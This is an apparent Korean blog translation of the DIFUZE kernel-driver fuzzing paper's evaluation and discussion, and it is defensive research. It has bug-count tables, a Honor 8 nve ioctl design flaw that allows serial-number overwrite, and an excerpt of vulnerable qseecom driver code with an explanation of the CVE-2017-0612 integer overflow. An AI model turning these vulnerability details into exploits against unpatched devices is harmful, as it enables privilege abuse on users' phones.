&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;다음 몇 개의 하위세션에서는 실험 중에 발견된 2개의 버그에 대한 연구 사례를 제시하여 버그들의 영향과 검출에서 인터페이스 정보의 필요성을 증명할 것이다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 181px;&quot; border=&quot;1&quot; data-ke-style=&quot;style8&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;&lt;b&gt;Crasg Type&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;&lt;b&gt;Count&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 10px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 10px;&quot;&gt;Arbitrary read&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 10px;&quot;&gt;4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;Arbitrary write&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;Assert Failure&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 31px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 31px;&quot;&gt;Buffer Overflow&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 31px;&quot;&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Null&amp;nbsp;dereference&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;Out of bounds index&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;Uncategorized&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;Writing&amp;nbsp;to&amp;nbsp;non-volatile&amp;nbsp;memory&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;[표 4] DIFUZE가 발견한 충돌 유형&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;8.4 연구 사례 1 : Honor 8 설계 이슈&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;가장 흥미로운 버그 중 하나는 (커널 버그는 일반적인 경우처럼) OS 충돌을 통해서가 아니라 대상 호스트로부터 매우 이상한 동작을 발견되었다. 화웨이 Honor 8에서 여러 번의 퍼징 라운드를 마친 후, 장치의 일변 번호가 변경되었다는 것을 발견했다([목록 6] 참조). 장치의 일련 번호는 (높은 EL3 권한 수준에서 실행되는) 부트 로더만 변경할 수 있는 읽기 전송 속성이어야 한다. 그러나 이 발생은 커널 드라이버를 이용하여 안드로이드의 사용자 공간 애플리케이션(최소 권한 레벨 EL0에서 실행)에서 실제로 일련 번호를 변경할 수 있음을 보여준다. 따라서 이것은 설계 수준의 취약점을 나타낸다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;이 버그는 드라이버 nve를 퍼지하면서 발견되었다. Honor 8은 flash, nvme에 파티션이 있어 장치 구성 정보를 저장한다. 이러한 구성 옵션 중 일부는 권한이 없으며 안드로이드에 의해 수정할 수 있다. 여기에는 기기 잠금 해체가 활성화되는지 여부와 램 덤프가 허용 여부도 포함되지만, 특히 보드 식별자 및 일변 번호와 같은 속성은 제외되며, 이는 부트 로더만 수정할 수 있어야 한다. 그러나 장치 /dev/nve의 ioctl 핸들러는 이러한 옵션을 읽고 쓸 수 있는 방법을 제공한다. 또한, 구성 옵션 유형을 확인하지 않으며 악의적인 사용자 공간 응용 프로그램은 권한 있는 구성 옵션을 읽거나 쓸 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;권한 구성 옵션의 대한 수정을 허용하지 않는 검사를 추가하면 이 문제가 해결될 수 있다. 권한 수준 EL1에서 실행 중인 안드로이드 커널이 더 높은 권한으로 실행 중인 부트 로더에 속하는 옵션을 읽거나 쓰는 것이 가능하지 않아야 한다. 물론, 이를 위한 해결책은 특권(privileged) 옵션과 특권이 없는 옵션을 분리하여 서로 다른 특권 코드가 접근할 수 있는 다른 파티션에 저장하는 것이다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 180px;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;&lt;b&gt;syzkaller base&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;&lt;b&gt;syzkaller+path&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;&lt;b&gt;DIFUZE(i)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;&lt;b&gt;DIFUZE(s)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;&lt;b&gt;DIFUZE(m)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;&lt;b&gt;total unique&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;Pixel&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;2&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;5&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;E9 Plus&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;4&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;6&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;6&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;M9&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;2&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;P9 Lite&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;2&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;5&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;5&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;Honor 8&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;2&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;2&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;Galaxy S6&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;Xperia XA&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;2&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;10&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;13&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;12&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;14&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;Total&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;22&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;34&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;30&lt;/td&gt;
&lt;td style=&quot;width: 14.2857%; text-align: center; height: 20px;&quot;&gt;36&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;[표 5] 장치 별 퍼징 구성에서 발견된 버그&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1589890494032&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# before fuzzing 
HWFRD:/ $ getprop ro.serialno 
RNV0216811001641 
# after fuzzing 
HWFRD:/ $ getprop ro.serialno 
^R&amp;iuml;&amp;pound;&amp;iexcl;DO&amp;gt;l&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;[목록 6] nve 드라이버를 퍼징하는 동안 DIFUZE에서 발견된 설계 문제&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;8.5 연구 사례 2 : qseecom 버그&lt;/h3&gt;
&lt;p&gt;이번 절에서는 최고 수준의 인터페이스 추출(즉, 유형 복구/복합 구조 인스턴스화)에서만 발견된 버그의 예를 살펴본다. 관련 출처는 아래 제시되어 있으며, 이를 참조할 것이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1589890685767&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;static int qseecom_mdtp_cipher_dip(void __user* argp)
{
    struct qseecom_mdtp_cipher_dip_req req;
    u32 tzbuflenin, tzbuflenout;
    char* tzbufin = NULL, * tzbufout = NULL;
    int ret;
    do {
        ret = copy_from_user(&amp;amp;req, argp, sizeof(req));
        if (ret) {
            pr_err(&quot;copy_from_user failed, ret= %d\n&quot;,
                ret);
            break;
        }
        ...
            /* Copy the input buffer from
            userspace to kernel space */
            tzbuflenin = PAGE_ALIGN(req.in_buf_size);
        tzbufin = kzalloc(tzbuflenin, GFP_KERNEL);
        if (!tzbufin) {
            pr_err(&quot;error allocating in buffer\n&quot;);
            ret = -ENOMEM;
            break;
        }

        ret = copy_from_user(tzbufin, req.in_buf,
            req.in_buf_size);
        ...
    } while (0);
        ...
            return ret;
}

long qseecom_ioctl(struct file* file, unsigned cmd,
    unsigned long arg)
{
    int ret = 0;
    void __user* argp = (void __user*) arg;
    switch (cmd) {
        ...
    case QSEECOM_IOCTL_MDTP_CIPHER_DIP_REQ: {
            ...
                ret = qseecom_mdtp_cipher_dip(argp);
            break;
        }
        ...
    }
    return ret;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;예로 CVE-2017-0612(이것은 실험 과정에서 패치된 4개의 버그 중 하나이다)의 버그는 구글의 대표 안드로이드 스마트폰인 픽셀에서 DIFUZE에 의해 발견되었다. 드라이버의 ioctl 기능은 코드 31행에서 시작하여 ioctl의 일반적인 설계를 따른다. 사용자 공간 응용 프로그램은 cmd 및 arg를 지정한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;cmd QSECOM_IOCTL_MDTP_CIP_DIP_REQ가 있으면 코드 39행에 qseecom_mdtp_cipher_dip를 입력한다. 이 함수의 코드 9행에서 사용자 데이터가 구조체 &lt;span style=&quot;color: #000000;&quot;&gt;Qseecom_mdtp_cipher_dip_req req에 복사된 것을 볼 수 있고, 코드 16번 줄에는 버그가 있다. tzbuflenin은 사용자 제어 값인 req.in_buf_size에 &lt;span style=&quot;color: #000000;&quot;&gt;PAGE_ALING을 호출하여 계산한다. 사용자 공간 애플리케이션이 여기에 큰 값을 제공하면 &lt;span style=&quot;color: #000000;&quot;&gt;PAGE_ALING이 오버플로우되어 &lt;span style=&quot;color: #000000;&quot;&gt;req.in_buf_size보다 작은 값이 되며, 특히 0이 된다.&amp;nbsp;다음으로&amp;nbsp;코드&amp;nbsp;17번&amp;nbsp;라인에서&amp;nbsp;계산된&amp;nbsp;크기를&amp;nbsp;조정하려고&amp;nbsp;시도한다.&amp;nbsp;마지막&amp;nbsp;코드&amp;nbsp;24번&amp;nbsp;라인에서&amp;nbsp;드라이버는&amp;nbsp;구조체의&amp;nbsp;내장된&amp;nbsp;포인터를&amp;nbsp;할당된&amp;nbsp;버퍼에&amp;nbsp;copy_from_user하려고&amp;nbsp;한다.&amp;nbsp;이&amp;nbsp;copy_from_user는&amp;nbsp;버퍼&amp;nbsp;크기가&amp;nbsp;잘못&amp;nbsp;계산되었기&amp;nbsp;때문에&amp;nbsp;충돌이&amp;nbsp;발생할&amp;nbsp;것이다.&amp;nbsp;그러나&amp;nbsp;이&amp;nbsp;출동을&amp;nbsp;관찰하려면&amp;nbsp;사용자가&amp;nbsp;제공한&amp;nbsp;req.in_messages가&amp;nbsp;유효한&amp;nbsp;포인터여야&amp;nbsp;한다(이러한&amp;nbsp;copy_from_user는&amp;nbsp;정상적으로&amp;nbsp;실패하고&amp;nbsp;오류를&amp;nbsp;반환함).&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;8.6 커버리지 기반 퍼징 보강&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;a href=&quot;http://swtv.kaist.ac.kr/publications/KSC2019pdf&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;커버지리 기반 퍼징(&lt;/span&gt;Coverage Guided&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Fuzzing&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;a href=&quot;http://swtv.kaist.ac.kr/publications/KSC2019pdf&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;)&lt;/a&gt;은 잘 연구된 기술이며, 좋은 커버리지를 달성하기 위한 효과적인 방법임이 입증되었다. 그러므로, 커버리지 가이드라인을 사용할 수 있다면 인터페이스 인식이 여전히 필요한가?라는 자연스러운 질문이 발생한다. 정답은 그렇다이다. 커버리지 안내 퍼징을 위한 인터페이스 정보를 제공하면 드라이버에 대한 성능이 크게 향상된다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;시연을 위해 x86-64 커널에서 syzkaller를 커버리지 기반 모드로 실행했고, ioctl SCSI_IOCTL_SEND_CORM(단순 인터페이스 포함)과 CDROM_SEND_PACKET(복잡한 인터페이스 포함)는 조합당 4시간 동안 구조 인터페이스 정보를 포함하거나 포함하지 않았다. [표 6]은 이러한 조합의 결과를 보여주며, 여기서 마지막 열은 인터페이스 정보가 제공되었을때 도달한 기본 블록의 증가율을 보여준다. 이는 인터페이스 정보가 여전히 커버리지 유도 퍼지 성능을 크게 향상시킬 것임을 보여준다.&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;kcomv를 역포팅하고 커널을 다시 플래시해야하기 때문에 이 평가를 상용장치로 확장하는 것은 어렵다. 이를 위해서는 프로젝트의 범위를 벗어난 상당한 엔지니어링 노력이 필요하다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 50px;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 10px;&quot;&gt;
&lt;td style=&quot;height: 30px; text-align: center; width: 30.5814%;&quot; rowspan=&quot;2&quot;&gt;&lt;b&gt;ioctl cmd ID&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 30px; text-align: center; width: 17.907%;&quot; rowspan=&quot;2&quot;&gt;&lt;b&gt;Interface type&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 10px; text-align: center; width: 31.3954%;&quot; colspan=&quot;2&quot;&gt;&lt;b&gt;Basic Blocks covered&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 30px; text-align: center; width: 20%;&quot; rowspan=&quot;2&quot;&gt;&lt;b&gt;Percentage increase&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;height: 20px; text-align: center; width: 11.3954%;&quot;&gt;&lt;b&gt;No interface&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 20px; text-align: center; width: 20%;&quot;&gt;&lt;b&gt;Interface Aware&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 10px;&quot;&gt;
&lt;td style=&quot;height: 10px; text-align: center; width: 30.5814%;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;SCSI_&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;SCSI_IOCTL_SEND_COMMAND&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 10px; text-align: center; width: 17.907%;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Simple&amp;nbsp;Structure&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 10px; text-align: center; width: 11.3954%;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;3811&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 10px; text-align: center; width: 20%;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;4629&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 10px; text-align: center; width: 20%;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;21.46%&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 10px;&quot;&gt;
&lt;td style=&quot;height: 10px; text-align: center; width: 30.5814%;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;CDROM_SEND_PACKET&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 10px; text-align: center; width: 17.907%;&quot;&gt;Complex Structure&lt;/td&gt;
&lt;td style=&quot;height: 10px; text-align: center; width: 11.3954%;&quot;&gt;3956&lt;/td&gt;
&lt;td style=&quot;height: 10px; text-align: center; width: 20%;&quot;&gt;5582&lt;/td&gt;
&lt;td style=&quot;height: 10px; text-align: center; width: 20%;&quot;&gt;41.10%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;[표 6] 인터페이스 정보 유무에 따른 커버리지 유도 퍼징 성능&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;9. 토론&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;인터페이스 인식 퍼지를 사용하면 DIFUZE가 잠재적으로 유해한 버그를 발견하여 커널 보안을 향상시킬 수 있음을 보여주었다. 그러나, 이러한 접근 방식과 개선 방향에는 아직 약점이 있는데, 이번 절에서 검토하기로 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;9.1 약점&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;퍼징하는 동안 발견한 1가지 문제는 버그가 있는 드라이버가 일찍부터 충돌하여 퍼저가 드라이버의 더 깊은 기능을 탐색하지 못하게 한다는 것이다. 단순히 이전 버그가 자주 발생하기 때문에 맞지 않는 버그가 있을 수 있으며 해당 버그를 칠 때마다 스마트폰이 재부팅된다. 현재의 기술로 유일한 해결책은 특정 명령 식별자 또는 때로는 전체 ioctl 처리기의 퍼징을 중지하고 다른 것으로 이동하는 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;DIFUZE의 또 다른 약점은 인터페이스에서 구조체 사이의 복잡한 관계를 추출할 수 없다는 것이다. 구조체의 한 필드가 다른 필드와 관련되는 것은 드문 일이 아니다. 예를 들어, 길이 필드는 버퍼의 크기를 지정할 수 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;9.2 향후 연구&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;많은 최고의 퍼저에서 발견되는 유용한 퍼징 기법은 런타임 범위를 사용하여 퍼저를 사용하는 것이다. 현재 이 기법은 사용하지 않는다(8.6절에서 보여주듯이, 인터페이스 인식으로 커버리지 유도 기법을 크게 개선할 수 있다). 런타임 커버리지 정보를 사용하려면 커널을 장치에 다시 컴파일하고 플래시해야 하는데, 이는 몇 가지 과제를 제시한다. 첫째, 세분화된 커버리지 정보를 얻기 위해서는 개발 보드가 필요하다. 이것은 비쌀 수도 있고, 많은 경우에 실제 기기에서는 사용할 수 없을 수도 있다. 둘째, 재컴파일한 최신 커널 소스를 항상 찾을 수 있는 것은 아니다. 이는 사소한 커널 업데이트 간에 ioctl 인터페이스가 급격하게 변경될 가능성이 낮고, 대상 호스트의 최신 소프트웨어 버전에서도 실제 실행이 수행될 것이기 때문에 DIFUZE는 허용된다. 그러나 이전 커널을 대상 호스트에 플래시하면 결과적으로 발견된 버그는 이미 쓸모없게 될 수 있다. 마지막으로, 일부 공급 업체는 부트로더를 잠그고 다른 보안 검사를 수행하여 새로운 커널을 쉽게 플래시하지 못하게 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
